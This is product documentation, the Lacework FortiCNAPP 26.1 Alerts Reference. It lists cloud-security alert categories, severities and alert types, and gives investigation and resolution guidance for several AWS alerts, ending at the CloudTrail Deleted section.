Alerts Reference

Lacework FortiCNAPP

FORTINET DOCUMENT LIBRARY
https://docs.fortinet.com

FORTINET VIDEO LIBRARY
https://video.fortinet.com

FORTINET BLOG
https://blog.fortinet.com

CUSTOMER SERVICE & SUPPORT
https://support.fortinet.com

FORTINET TRAINING & CERTIFICATION PROGRAM
https://www.fortinet.com/training-certification

FORTINET TRAINING INSTITUTE
https://training.fortinet.com

FORTIGUARD LABS
https://www.fortiguard.com

END USER LICENSE AGREEMENT
https://www.fortinet.com/doc/legal/EULA.pdf

FEEDBACK
Email: techdoc@fortinet.com

February 2, 2026
Lacework FortiCNAPP 26.1 Alerts Reference
91-261-1169542-20260202

TABLE OF CONTENTS

Change Log

Date	Change Description
2026-01-12	Initial release.
2026-01-22	Removed Detections reference.
2026-02-02	Updated Anomaly detection models on page 186.

Introduction

This document provides information about the alerts available in the Lacework FortiCNAPP console.

This introductory section provides information about alert categories and subcategories, as well as the reported alert severities.

The Alert types section provides categorized lists of the available alerts.

The subsequent sections provide detailed descriptions of each available alert.

The appendices provide additional related information.

For information about managing alerts and alert channels, see the relevant sections of the Lacework FortiCNAPP Administration Guide:

- Alerts
- Alert channels

Alert categories

Lacework FortiCNAPP classifies alerts into categories and subcategories. A category contains various properties and specifications that define the alerts within that category.

Alert categories

The following table describes all alert categories.

Category	Description
Anomaly	Alerts that are generated when there are behavioral changes.
Policy	Alerts that are generated when a violation of a custom policy is detected.
Composite	Alerts that are generated when a potential intrusion is detected.

Alert subcategories

The following table describes all alert subcategories.

Subcategory	Description
Compliance	Compliance-related alerts such as `New violations: AWS Account <ACCOUNT_ID> :`

Subcategory	Description
	`lacework-global-128 EC2 instances should not have a Public IP address attached`. We provide out-of-the-box compliance policies and supports the creation of custom compliance policies. These policies trigger alerts when a violation occurs (if the policies are enabled).
Application	Application-related vulnerabilities such as a suspicious application: `Suspicious test app: Suspicious application /usr/local/bin/python2.7 (and 4 more)`
Cloud Activity	Cloud-activity alerts specific to AWS, Azure, or Google Cloud. For example: `New Violations: GCP_CIS12_3_6 Ensure that SSH access is restricted from the internet new compliance violations detected.`
File	Potentially suspicious file-related alerts such as: `Clone of Suspicious Files: /var/run/qa/BFNE/08082021170247/eicar.com.txt (and 96 more).`
Machine	Machine-related alerts such as new IP address connections: `Outbound connection to a new external IP address from application: ip-192.51.100.100.us-west-2.compute.internal connected to xx.xx.xxx.xxx`
User	User-related alerts such as suspicious user logins: `Suspicious logins from multiple GEOs: Suspicious user logins detected for user web93 (and 331 more) access from multiple geographies.`
Platform	Platform-related alerts such as cloud activity ingestion failures: `Cloud Activity log ingestion failure detected: dh-user-kt is failing for data ingestion into Lacework FortiCNAPP.`
Kubernetes Activity	Kubernetes-related alerts such as a new binding to a Cluster Role was created: `K8s Audit Log Cluster Role Created.`
Registry	Registry-related alerts such as `PolicyViolationChanged`, `NewPolicyViolation`.
SystemCall	System-call-related alerts such as `Attempted Host Path Mount`, `Host Path Mount Execution`, `Attempted Cron Job Creation`.
Host Vulnerability	Host-vulnerability-related alerts such as `"New vulnerable internal connection`, `New external host server connection from vulnerable application`.
Container Vulnerability	Container-vulnerability-related alerts such as `New security vulnerability`, `Known security vulnerability`, `Known security vulnerability discovered in repository`.
Threat Intel	Network-related alerts such as `Outbound connection to a bad external URL`, `Outbound connection to a bad external IP Address`, `Inbound connection from a bad external IP Address`.

Alert severity

Alert severity levels are a measurement of the impact an alert has on the business. Our severity scoring algorithm applies a variable alert severity based on several factors, including:

- Number of involved entities.
- User attributes.
- Frequency of activity.

Alerts of the same name may have different severities if their event scores are different. For example, if a user associated with an alert has MFA enabled, Lacework FortiCNAPP reduces the alert severity due to the reduced probability that the activity is malicious (AWS and Google Cloud).

For threats identified through threat intelligence, alert severity is dynamically calculated. This approach assesses multiple threat intelligence providers that flag the Indicators of Compromise (IOCs) as malicious, facilitating a more precise threat assessment and prioritization. This method not only enhances accuracy but also reduces false positives, providing a more reliable alert system for our customers.

The severity of anomaly alerts could be affected by crowdsourced risk analysis.

While the severity of an alert may not match the severity of the originating default policy due to the severity scoring algorithm described, Lacework FortiCNAPP never reduces alert severity for custom policies. Therefore, to prevent severity reduction for a particular policy, you can make a copy of the default policy. As a custom policy, the copy will not be subject to the scoring algorithm and severity reduction. For information on creating and managing policies, see Managing policies in the Lacework FortiCNAPP Administration Guide.

The following table describes all severity levels.

Severity	Description	Example
Critical	Alerts that need immediate attention. This might indicate that the system has failed or stopped responding.	Access level is not set to Private.
High	Alerts that indicate a problem, but do not require immediate attention.	Storage logging is not enabled for Queue service read, write, and delete requests.
Medium	Alerts that provide forewarning of potential problems, although not an actual error. These events might lead to displaying errors or critical events.	Guest account with owner permissions should be removed from subscription.
Low	Alerts with minor impact.	S3 bucket does not have auditing enabled.
Info	Alerts that provide informational messages that might be helpful to you.	No support role has been created to manage incidents with AWS Support.

To learn more about the alert severity for known threats through threat intel, see Advantages of Threat Intel alerts on page 164.

Crowdsourced risk analysis

Crowdsourced risk analysis adjusts anomaly alert severities by leveraging combined insights across Lacework FortiCNAPP customers.

Lacework FortiCNAPP lowers an alert's severity to `Info` in the following cases:

- *Common cloud behavior*; The behavior indicated in the alert is frequently observed across Lacework FortiCNAPP customers. Due to the number of customers with similar behavior, the alert may be considered less risky if it represents common behavior observed in other customer cloud deployments. Currently, Lacework FortiCNAPP observes the most recent 90 days of data across the customer base to determine the frequency of a behavior. A behavior is considered common if Lacework FortiCNAPP observes it in more than a specified percentage of customers.
- *Expected Lacework FortiCNAPP behavior*: The behavior indicated in the alert is flagged as expected depending on your specific integration with Lacework FortiCNAPP.

Alert types

The following list available alerts by category and subcategory and provide information about those types of alerts.

- Anomaly Alerts
  - Application anomaly alerts
  - Cloud activity anomaly alerts
  - File anomaly alerts
  - Kubernetes activity anomaly alerts
  - Machine anomaly alerts
  - User anomaly alerts
- Policy Alerts
  - Application policy alerts
  - Cloud activity policy alerts
  - File policy alerts
  - Compliance policy alerts
  - Platform policy alerts
  - Registry policy alerts
  - User policy alerts
  - Identity alerts
- Composite alerts
- Host vulnerability alerts
- Container vulnerability alerts
- Threat intel alerts
- Vulnerable Log4j processes alerts

Application anomaly alerts

Lacework FortiCNAPP generates application-based alerts when anomalous behaviors involving applications are detected.

The following table lists all the Anomaly alerts in the Application subcategory.

Alert Name	Alert Type	Connection
New application	NewBinaryType	Process -> Process Process -> DNS Process -> IP Process-> Destination Process IP -> Destination

Alert Name	Alert Type	Connection
		Process
New child launched	NewChildLaunched	
New external client IP address connection	NewExternalClientConn	IP -> Process
New external client IP address	NewExternalClientIp	IP -> Process IP -> Machine
Outbound connection to new domain from application	NewExternalServerDns	Process -> Domain Machine -> Domain
New outbound connection from application **Note**: Legacy name: *New external host server connection*	NewExternalServerDNSConn	Process -> Domain
Outbound connection to a new external IP address from application	NewExternalServerIp	Process -> IP Machine -> IP
New external server IP address connection	NewExternalServerIPConn	Process -> IP
New internal connection	NewInternalConnection	Process -> Process Process -> IP IP -> Process

Cloud activity anomaly alerts

Lacework FortiCNAPP generates cloud-activity-based alerts when there are cloud-activity-related vulnerabilities detected.

The following tables list all the Anomaly alerts in the Cloud Activity subcategory.

AWS activity alerts

Node alerts

Alert Name	Alert Type
AWS account accessed from a new geolocation with a new AWS event type	LoginFromSourceUsingCalltype
AWS account accessed from a new geolocation	LoginFromSourceUsingCalltype
New account access made **Note**: Legacy name: *New AWS account*	NewAccount
New region	NewRegion
New service	NewService
New AWS user	NewAwsUser
Service called API	ServiceCalledApi
User Calltype MFA	UserCalltypeMfa

Edge alerts

Alert Name	Alert Type
API failed with error	ApiFailedWithError
AWS IAM API error spike	AwsAccountFailedApi
AWS GPU instance usage spike	AwsAccountGpuLaunch
AWS account accessed from known bad IP address with new AWS event type **Note**: Legacy name: *Login from known bad source using Calltype*	LoginFromBadSourceUsingCalltype
AWS account accessed from known bad IP address **Note**: Legacy name: *Login from known bad source using Calltype*	LoginFromBadSourceUsingCalltype
Login from new bad source using Calltype	LoginFromBadSourceUsingCalltype
AWS account accessed from a new geolocation with a new AWS event type	LoginFromSourceUsingCalltype

Alert Name	Alert Type
Note: Legacy name: *Login from source using Calltype*	
AWS account accessed from a new geolocation **Note**: Legacy name: *Login from source using Calltype*	LoginFromSourceUsingCalltype
New AWS service accessed in region **Note**: Legacy name: *Service accessed in region*	ServiceAccessedInRegion
User Calltype MFA	UserCalltypeMfa
New AWS API invoked **Note**: Legacy name: User used service in region	UserUsedServiceInRegion

Google Cloud activity alerts

GKE Kubernetes logs do not contain populated request fields so they will display as NULL in the dashboards.

Node alerts

Alert Name	Alert Type
New GCP API call	NewGcpApiCall
New GCP organization	NewGcpOrganization
New GCP region	NewGcpRegion
New GCP service	NewGcpService
New GCP source	NewGcpSource NewGcpSourceForServiceAccount
New GCP user	NewGcpUser
New API Invoked for Google Cloud Service on page 76 **Note**: Legacy name: *Service called GCP API*	ServiceCalledGcpApi

Edge alerts

Alert Name	Alert Type
GCP API failed with error	GcpApiFailedWithError
New Google Cloud service accessed in region	GcpServiceAccessedInRegion

Alert Name	Alert Type
Note: Legacy name: *GCP service accessed in region*	
GCP user accessed region	GcpUserAccessingRegion
GCP user logged in from bad source	GcpUserLoggedInFromBadSource
GCP user logged in from new source	GcpUserLoggedInFromSource
GCP service account logged in from new source	GcpServiceAccountLoggedInFromSource

Azure activity alerts

Node alerts

Alert Name	Alert Type
New Azure API failed with error	NewAzureApiFailedWithError
New Azure SP accessing resource	NewAzureService
New Azure subscription created	NewAzureSubscription
New Azure user logged in from bad source	NewAzureUserLoggedInFromBadSource

Edge alerts

Alert Name	Alert Type
New Azure API call invoked by user accessed resource for the first time	NewAzureApiCallOnResource
New Azure user performed operation on resource for the first time	NewAzureUserEventCategory

File anomaly alerts

Lacework FortiCNAPP generates file-based alerts when there are file-related vulnerabilities detected.

The following table lists all the Anomaly alerts in the File subcategory.

Alert Name	Alert Type
Malicious file	MaliciousFile

Kubernetes activity anomaly alerts

Lacework FortiCNAPP generates Kubernetes activity anomaly alerts when there are Kubernetes-activity-related vulnerabilities detected.

The following table lists all Anomaly alerts in the Kubernetes Activity subcategory.

Alert Name	Alert Type
K8s audit log cluster role created	NewK8sAuditLogClusterRole
K8s audit log cluster role binding created	NewK8sAuditLogClusterRoleBinding
K8s audit log cluster role bindings to admin	NewK8sAuditLogClusterRoleBindingsToAdmin
K8s audit log cluster role bindings to cluster admin	NewK8sAuditLogClusterRoleBindingsToClusterAdmin
K8s audit log cluster role bindings to edit	NewK8sAuditLogClusterRoleBindingsToEdit
K8s audit log cluster role bindings to system	NewK8sAuditLogClusterRoleBindingsToSystem
K8s audit log cluster role with all resources	NewK8sAuditLogClusterRoleWithAllResources
K8s audit log cluster role with pod exec	NewK8sAuditLogClusterRoleWithPodExec
K8s audit log cluster role with pods write	NewK8sAuditLogClusterRoleWithPodsWrite

Alert Name	Alert Type
K8s audit log cluster role with secrets	NewK8sAuditLogClusterRoleWithSecrets
K8s audit log ingress created	NewK8sAuditLogIngress
K8s audit log namespace created	NewK8sAuditLogNamespace
K8s audit log resource created	NewK8sAuditLogResource
K8s audit log role created	NewK8sAuditLogRole
K8s audit log role binding created	NewK8sAuditLogRoleBinding
K8s audit log role bindings to admin	NewK8sAuditLogRoleBindingsToAdmin
K8s audit log role bindings to cluster admin	NewK8sAuditLogRoleBindingsToClusterAdmin
K8s audit log role bindings to edit	NewK8sAuditLogRoleBindingsToEdit
K8s audit log role bindings to system	NewK8sAuditLogRoleBindingsToSystem
K8s audit log role with all resources	NewK8sAuditLogRoleWithAllResources
K8s audit log role with pod exec	NewK8sAuditLogRoleWithPodExec
K8s audit log role with pods write	NewK8sAuditLogRoleWithPodsWrite

Alert Name	Alert Type
K8s audit log role with secrets	NewK8sAuditLogRoleWithSecrets
K8s audit log workload created	NewK8sAuditLogWorkload
K8s new registry used on page 112	NewK8sRegistryUsed
K8s new sensitive access to pod on page 112	NewK8sPodCommand
K8s new user access to pod on page 113	NewK8sUserSensitiveCommand
New K8s cluster on page 114	NewK8Cluster
New K8s pod on page 115	NewK8Pod
New K8s webhook change on page 116	NewK8sAuditLogWebhookChange
New K8s workload created with privilege escalation	NewK8sAuditLogWorkloadAllowsEscalation
New K8s workload created with host access	NewK8sAuditLogWorkloadWithHostAccess

Machine anomaly alerts

Lacework FortiCNAPP generates machine-based alerts when anomalous behaviors involving machines are detected, and the behavior could not be attributed to a specific process.

The following table lists all Anomaly alerts in the Machine subcategory.

Alert Name	Alert Type	Connection
New external client IP address	NewExternalClientIp	IP -> Machine
Outbound connection to new domain from host *Note*: Legacy name: *New external host*	NewExternalServerDns	Machine -> Domain
Outbound connection to a new external IP address from host *Note*: Legacy name: New external server IP address	NewExternalServerIp	Machine -> IP

User anomaly alerts

Lacework FortiCNAPP generates user alerts when anomalous behaviors involving users are detected, either when the behavior is performed by a user at the terminal or related to user privilege escalations (for example, to `root`).

The following table lists all Anomaly alerts in the User subcategory.

Alert Name	Alert Type	Connection
New outbound connection from application	NewExternalServerDNSConn	Process -> Domain
New external server IP address connection	NewExternalServerIPConn	Process -> IP
New privilege escalation	NewPrivilegeEscalation	
New user	NewUser	
User launched new binary	UserLaunchedNewBinary	
User logged in from new location	UserLoggedInFromNewLocation	

Application policy alerts

Lacework FortiCNAPP generates application-based alerts when there are policy violations related to applications.

The following table lists all Policy alerts in the Application subcategory.

Alert Name	Alert Type	Alert Subcategory
Suspicious application launched	SuspiciousApplicationLaunched	Application
Suspicious file detected	SuspiciousFile	Application

Cloud activity policy alerts

Lacework FortiCNAPP generates policy-based alerts when there are policy violations detected from cloud activities.

The following tables lists all Policy alerts in the Cloud Activity subcategory.

AWS

AWS Cloud activity policy alerts provide advanced warning of potential threats based on the latest intelligence and threat analysis with the following features:

- The alerts are raised within 15 minutes of the potential threat being detected, giving you more time to take action and protect your organization's assets.
- *Evolving Alerts*: This feature allows you to receive a single, consolidated alert that will automatically update and evolve over one hour, reducing the noise of repetitive alerts. This approach will give you all the information you need to triage and investigate alerts while minimizing distractions and interruptions. See Evolving alerts in the Lacework FortiCNAPP Administration Guide for more information.
- The alerts use aggregation keys that allow the grouping of similar alerts into one consolidated alert with all the latest information about the threat, reducing the number of notifications you receive.

Alert Name	Alert Type
Access key deleted	AccessKeyDeleted
CloudTrail changed	CloudTrailChanged
CloudTrail deleted	CloudTrailDeleted
CloudTrail stopped	CloudTrailStopped
Config service change	ConfigServiceChange
Key Management Service (KMS) Key Disabled	CustomerMasterKeyDisabled
Key Management Service (KMS) Key Scheduled for Deletion	CustomerMasterKeyScheduledForDeletion
Failed console login	FailedConsoleLogin

Alert Name	Alert Type
Identity and Access Management (IAM) Access Key Change	IAMAccessKeyChanged
Identity and Access Management (IAM) Policy Change	IAMPolicyChanged
NACL change	NACLChange
Network gateway change	NetworkGatewayChange
New access key	NewAccessKey
New Key Management Service (KMS) Key	NewCustomerMasterKey
New Key Management Service (KMS) Key Alias	NewCustomerMasterKeyAlias
New Grant Added to Key Management Service (KMS) Key	NewGrantAddedToCustomerMasterKey
New S3 bucket	NewS3Bucket
New AWS user created	NewUser
New Virtual Private Cloud (VPC)	NewVPC
New Virtual Private Network (VPN) Connection	NewVPNConnection
Route table change	RouteTableChange
S3 Bucket Access Control List (ACL) Change	S3BucketACLChanged
S3 bucket deleted	S3BucketDeleted
S3 bucket policy changed	S3BucketPolicyChanged
Security group change	SecurityGroupChange
Successful Non Security Assertion Markup Language (SAML) Console Login Without Multi-Factor Authentication (MFA)	SuccessfulConsoleLoginWithoutMFA
Unauthorized API call	UnauthorizedAPICall
Usage of root account	UsageOfRootAccount
Virtual Private Cloud (VPC) Change	VPCChange
Virtual Private Network (VPN) Gateway Change	VPNGatewayChange

Azure

Alert Name	Alert Type
Network security group created or updated	NetworkSecurityGroupCreatedOrUpdated
Network security group deleted	NetworkSecurityGroupDeleted
Network security group rule created or updated	NetworkSecurityGroupRuleCreatedOrUpdated
Network security group rule deleted	NetworkSecurityGroupRuleDeleted
Policy assignment created	PolicyAssignmentCreated
Security policy updated	SecurityPolicyUpdated
Security solution created or updated	SecuritySolutionCreatedOrUpdated
Security solution deleted	SecuritySolutionDeleted
SQL server firewall rule created or updated	SQLServerFirewallRuleCreatedOrUpdated
SQL server firewall rule deleted	SQLServerFirewallRuleDeleted

Google Cloud

Alert Name	Alert Type
Audit configuration changed	AuditConfigurationChanged
Cloud storage IAM permission changed	CloudStorageIAMPermissionChanged
Custom role changed	CustomRoleChanged
Folder IAM policy changed	GCPFolderIAMPolicyChanged
New cloud storage bucket created	GCPGCSBucketCreated
IAM policy changed	GCPIAMPolicyChanged
Cloud KMS key version destroyed	GCPKMSKeyVersionDestroyed
Cloud logging sink modified	GCPLogSinkModified
New cloud KMS key created	GCPNewKMSKey

Alert Name	Alert Type
Cloud KMS key IAM policy modified	GCPNewKMSKeyIAMPolicy
New cloud KMS key ring created	GCPNewKMSKeyRing
Organization IAM policy changed	GCPOrganizationIAMPolicyChanged
Project IAM policy changed	GCPProjectIAMPolicyChanged
Service account key changed	GCPSAAccessKeyChanged
A new service account has been created	GCPSACreated
New cloud VPN created	GCPVPCVPNCreated
Cloud VPN deleted	GCPVPCVPNDeleted
Project ownership assignments changed	ProjectOwnershipAssignmentsChanged
SQL instance configuration changed	SQLInstanceConfigurationChanged
VPC Cloud NAT changed	VPCNetworkGatewayChanged
VPC network changed	VPCNetworkChanged
VPC network firewall rule changed	VPCNetworkFirewallRuleChanged
VPC network route changed	VPCNetworkRouteChanged

File policy alerts

Lacework FortiCNAPP generates file-based alerts when there are policy violations related to files.

The following tables lists all Policy alerts in the File subcategory.

Alert Name	Alert Type
Changed file detected	ChangedFile

Compliance policy alerts

Lacework FortiCNAPP generates compliance-based alerts when there are compliance violations detected.

The following tables lists all Policy alerts in the Compliance subcategory.

Alert Name	Alert Type
Compliance changed	ComplianceChanged
New violations	NewViolations

Platform policy alerts

Lacework FortiCNAPP generates platform-based alerts when there are cloud integration failures detected.

The following tables lists all Policy alerts in the Platform subcategory.

Alert Name	Alert Type
Cloud activity log ingestion failure detected	CloudActivityLogIngestionFailed

Registry policy alerts

Lacework FortiCNAPP generates registry-based alerts when there are related policy violations.

The following tables lists all Policy alerts in the Registry subcategory.

Alert Name	Alert Type
Changes to Autorun Registry Keys on Windows	NewPolicyViolation PolicyViolationChanged

User policy alerts

Lacework FortiCNAPP generates user-based alerts when there are policy violations related to users.

The following tables lists all Policy alerts in the User subcategory.

Alert Name	Alert Type
Suspicious user login detected	SuspiciousUserFailedLogin
Detect suspicious user logins	SuspiciousUserLoginMultiGEOs

Identity alerts

Lacework FortiCNAPP generates alerts when identity (CIEM) policy violations are detected.

For more information about the CIEM policies that trigger these alerts, see CIEM policies in the Lacework FortiCNAPP Administration Guide.

Identity alerts are triggered by *Threat > Violation* policies but are generated in the alerts *Compliance* sub-category.

The following table lists all of the CIEM alerts.

Alert Name
CIEM Risky Unused Identity
CIEM Critical Identity Risk
CIEM Identity With Excessive Permissions
CIEM Hardcoded Keys
CIEM AWS Identity With Unused Access Keys
CIEM AWS Identity With Unrotated Access Keys

Composite alerts

Watch Video Summary

A composite alert consists of multiple detection mechanisms. Lacework FortiCNAPP generates composite alerts when it detects potential intrusions in your cloud entities. Each alert provides insight into the suspected compromise such as users, machines, or IP addresses.

With composite alerts, Lacework FortiCNAPP further alleviates the alert fatigue by automatically correlating disparate events across multiple detection sources into higher-level objects.

The Potentially Compromised Host alert is available to all customers who have Lacework FortiCNAPP agents installed, regardless of their cloud providers.

The following table lists all of the Composite alerts.

Alert Name	Alert Type	Source
Potentially compromised AWS keys	IncidentPotentiallyCompromisedAWSKeys	AWS CloudTrail
Potentially Compromised Azure on page 157	PotentiallyCompromisedAzureIdentity	Azure Activity Logs and/or Entra ID logs

Alert Name	Alert Type	Source
Potentially compromised host	IncidentPotentiallyCompromisedHost	Linux Agent Window Agent
Potentially compromised Google Cloud identity	IncidentPotentiallyCompromisedGCP	GC Audit Log **Note:** Before proceeding with this alert, make sure you have set up a Google Cloud Pub/Sub alert channel. See Google Cloud Pub/Sub alert channel in the Lacework FortiCNAPP Administration Guide.
Potentially compromised K8s User	IncidentPotentiallyCompromisedK8s	AWS EKS Audit Log GC GKE Audit Log
Potential penetration test	IncidentPotentialPenetrationTest	

Host vulnerability alerts

Lacework FortiCNAPP generates host vulnerability alerts when it detects vulnerabilities in servers, workstations, or other network hosts and provides greater visibility into which vulnerabilities were discovered on which target hosts.

With host vulnerability alerts, Lacework FortiCNAPP helps to identify security weaknesses and vulnerabilities in hosts that attackers may exploit, provides valuable insights into an organization's overall security posture, helping to identify areas where security measures can be improved to reduce risks. In the event of a security incident, host vulnerability scanning data can provide valuable information for incident response teams, enabling them to identify and remediate vulnerabilities quickly.

The following table lists all of the Host Vulnerability alerts.

Alert Name	Alert Type	Connection
New vulnerable internal connection	NewVulnInternalConnection	Process -> Process
Outbound connection from vulnerable application to a domain *Note*: Legacy name: *New external host server connection from vulnerable application*	NewExternalServerDNSConnFromVuln	

Alert Name	Alert Type	Connection
New external client IP address connection to vulnerable application	NewExternalClientIpConnToVuln	IP -> Process
Outbound connection from vulnerable application to an IP address *Note*: Legacy name: *New external server IP address connection from vulnerable application*	NewExternalServerIPConnFromVuln	Process -> IP
New vulnerable application	NewVulnBinaryType	
New vulnerable child launched	NewVulnChildLaunched	Process -> Process
New child launched from vulnerable application	NewChildLaunchedFromVulnParent	Process -> Process
User launched new vulnerable binary	UserLaunchedNewVulnBinary	User -> Process
New security vulnerability	NewHostCveDiscovered	
Severity escalated for security vulnerability	ExistingHostCveSeverityEscalated	
Fix available for security vulnerability	ExistingHostCveFixAvailable	
Bad external server host connection from vulnerable application	NewExternalServerBadDNSConnFromVuln	Process -> DNS
Bad external server IP address connection from vulnerable application	NewExternalServerBadIPConnFromVuln	Process -> IP
Bad external client IP address connection to vulnerable application	NewExternalClientBadIpConnToVuln	IP -> Process

Container vulnerability alerts

Lacework FortiCNAPP generates container vulnerability alerts when it detects vulnerabilities within containers and their components.

With container vulnerability alerts, Lacework FortiCNAPP provides a critical layer of cybersecurity to help your company securely package and deploy applications, stay compliant, and identify and address any new vulnerabilities promptly.

The following table lists all of the Container Vulnerability alerts.

Alert Name	Alert Type
New security vulnerability	NewCveDiscovered
Known security vulnerability	ExistingCveNewInDatacenter
Known security vulnerability discovered in repository	ExistingCveNewInRepo
Severity escalated for security vulnerability	ExistingCveSeverityEscalated
Fix available for security vulnerability	ExistingCveFixAvailable

Threat intel alerts

Lacework FortiCNAPP generates threat intel alerts when it detects inbound/outbound connections with known bad external hosts.

These alerts provide advanced warning of potential threats based on the latest intelligence and threat analysis with the following features:

- The alerts are raised within 15 minutes of the potential threat being detected, giving you more time to take action and protect your organization's assets.
- *Evolving Alerts* - This feature allows you to receive a single, consolidated alert that will automatically update and evolve over one hour, reducing the noise of repetitive alerts. This approach will give you all the information you need to triage and investigate alerts while minimizing distractions and interruptions. See for more information.
- The alerts use aggregation keys that allow the grouping of similar alerts into one consolidated alert with all the latest information about the threat, reducing the number of notifications you receive.

The following table lists all of the Threat Intel on page 19 alerts.

Alert Name	Alert Type	Connection
Inbound connection from a bad external IP Address	ExternalClientBadIpConn	IP -> Machine
Outbound connection to a bad external IP Address	ExternalServerBadIPConn	IP -> Machine

Alert Name	Alert Type	Connection
Outbound connection to a bad external URL	ExternalServerBadDNSConn	IP -> Machine

Suppression of threat intelligence alerts is currently unavailable.

Vulnerable Log4j processes alerts

Lacework FortiCNAPP generates vulnerability alerts when it detects long-running, vulnerable Log4j processes on both hosts and containers at runtime.

The following table lists all the Log4j processes alerts in the Host Vulnerability subcategory.

Alert Name	Alert Type	Connection
New vulnerable internal connection	NewVulnInternalConnection	Process -> Process
Outbound connection from vulnerable application to a domain *Note*: Legacy name: *New external host server connection from vulnerable application*	NewExternalServerDNSConnFromVuln	
New external client IP address connection to vulnerable application	NewExternalClientIpConnToVuln	IP -> Process
Outbound connection from vulnerable application to an IP address *Note*: Legacy name: *New external server IP address connection from vulnerable application*	NewExternalServerIPConnFromVuln	Process -> IP
New vulnerable application	NewVulnBinaryType	

Alert Name	Alert Type	Connection
New vulnerable child launched	NewVulnChildLaunched	Process -> Process
New child launched from vulnerable application	NewChildLaunchedFromVulnParent	Process -> Process
User launched new vulnerable binary	UserLaunchedNewVulnBinary	User -> Process
Bad external server host connection from vulnerable application	NewExternalServerBadDNSConnFromVuln	Process -> DNS
Bad external server IP address connection from vulnerable application	NewExternalServerBadIPConnFromVuln	Process -> IP
Bad external client IP address connection to vulnerable application	NewExternalClientBadIpConnToVuln	IP -> Process

AWS alerts reference

This section provides information about the available AWS security alerts.

For each documented alert, the following information is provided:

- A summary of the alert.
- Why the alert is important.
- Information about investigating the event that triggered the alert.
- Information about how to resolve the alert.

The following AWS CloudTrail policy alerts are disabled by default to reduce noise and help security teams focus on meaningful threats. You still retain full visibility through the related AWS CloudTrail logs. You can also re-enable the disabled alerts manually if needed.

Disabled alert	Related AWS CloudTrail log
Access Key Deleted	Identity and Access Management (IAM) Access Key Change
New Access Key	
CloudTrail Deleted	CloudTrail Changed
CloudTrail Stopped	
New Virtual Private Cloud (VPC) on page 59	Virtual Private Cloud (VPC) Change
Unauthorized API Call	API Failed With Error

Access Key Deleted

This alert is disabled by default. You still retain full visibility through the AWS CloudTrail log Identity and Access Management (IAM) Access Key Change. You can also re-enable the alert manually if needed.

This alert occurs when Lacework FortiCNAPP detects the deletion of an existing access key.

Why this alert is important

Access keys are one of the most common means of authentication used in AWS. A leaked access key can give any attacker access to your environment. Also, whenever an account is compromised, the attacker wants to maintain and

tries to elevate privileges by creating a new access key. A deleted access key can cause a loss of availability for a legitimate user/application.

Investigation

Examine the details of the user who triggered the access key creation/deletion. Examining the user deeper could provide other details such as the source IP from where the user logged in. This would help to investigate if someone was trying to impersonate the user. Also, search for any new users created or EC-2 instances spun up to maintain persistence by the attacker.

Resolution

Check that access key modification was done by a legitimate user/administrator. Limiting access key creation/ deletion to only privileged users can reduce the exposure of this incident.

Related Information

https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html

API Failed With Error

This alert occurs when Lacework FortiCNAPP detects an API that failed with an error within a geolocation.

Why this alert is important

By default, AWS Identity and Access Management (IAM) users don't have permission to create or modify Amazon resources or perform tasks using the Amazon API unless they've been explicitly granted permission through IAM policies. If an IAM user attempts to perform an action for which permission has not been granted, the request returns the following error: `Client.UnauthorizedOperation`.

Investigation

Use AWS CloudTrail data to view and track API calls made to your account. Every event or log entry contains information about who generated the request. The identity information helps you determine the following:

- Whether the request was made with root or AWS Identity and Access Management (IAM) user credentials.
- Whether the request was made with temporary security credentials for a role or federated user.
- Whether the request was made by another AWS service.

Resolution

The following are resolutions that you can implement:

- Rotate and delete all AWS access keys.
- Rotate any potentially unauthorized IAM user credentials.
- Delete any unrecognized or unauthorized resources.
- Enable MFA.
- Use Amazon GuardDuty to detect suspicious activity within your AWS account.
- Use AWS Access policies to control how IAM users access your resources or buckets. Additionally, you can use Virtual Private Cloud (VPC) endpoints with S3 bucket policies to restrict access to specific VPC endpoints.
- For use cases that require the sharing of S3 objects between different sources, use S3 Access Points to create permission sets that restrict access to only those within your private network.
- Use an access control list (ACL) to securely grant access to your AWS resources to other AWS accounts.

AWS GPU Instance Usage Spike

This alert occurs when Lacework FortiCNAPP detects a sudden unexpected increase in the number of API calls to launch GPU instances for an AWS account.

Why this alert is important

This alert could indicate coinminer attacks, misconfigurations, or rare but legitimate GPU usage.

Investigation

Examine the event history to understand the frequency of previous occurrences. This event may also be related to recent changes in an automation module or script.

Examine the request parameters and task being performed when the event was triggered. Is the event caused by an unsuccessful attempt to access objects, data, or secrets? This can be indicative of attempts at discovery, privilege escalation or lateral movement.

Investigate the user. Is this activity part of an expected workflow for the user context?

Consider the source IP address and geolocation of the user. Is the source EC2 IP address associated with an EC2 instance in one of your accounts? If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance?

Resolution

Examine the metrics on your instance. Correlate any CPU usage spikes to processes running at the time to determine whether the spike is associated with planned or known activity.

AWS IAM API Error Spike

This alert occurs when Lacework FortiCNAPP detects a sudden unexpected increase in the number of failed IAM API calls for an AWS account.

Why this alert is important

This alert could indicate compromised accounts probing the environment or misconfigurations. This type of event is commonly observed in compromised accounts, where the attacker attempts to probe the environment to gain information about privileges, permission, and resources available to the compromised account.

Specifically, discovery activities from the attacker will result in a spike in the number of failed AWS IAM API calls. Time series analysis monitors the number of failed AWS IAM API calls over time for each role or account and detects anomalies.

Investigation

Examine the event history to understand the frequency of previous occurrences. This event may also be related to recent changes in an automation module or script.

Examine the request parameters and task being performed when the event was triggered. Is the event caused by an unsuccessful attempt to access objects, data, or secrets? This can be indicative of attempts at discovery, privilege escalation or lateral movement.

Investigate the user. Is this activity part of an expected workflow for the user context?

Consider the source IP address and geolocation of the user. Is the source EC2 IP address associated with an EC2 instance in one of your accounts? If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance?

Resolution

If activity is confirmed as suspicious or malicious, rotate and delete AWS IAM access keys.

Check to see if any unauthorized new users were created during this activity and remove these accounts and request password resets for other IAM users.

Investigate recent activity from accounts that logged in from the same source IP address or geolocation.

Evaluate enabling multi-factor authentication for users.

CloudTrail Deleted

This alert is disabled by default. You still retain full visibility through the AWS CloudTrail log CloudTrail Changed. You can also re-enable the alert manually if needed.

This alert occurs when Lacework FortiCNAPP detects an AWS CloudTrail was deleted.

Why this alert is important

CloudTrail is one of the logging mechanisms to detect the activities happening in the AWS environment. Deleting the CloudTrail would delete the existing data and overall visibility across the environment.

Investigation

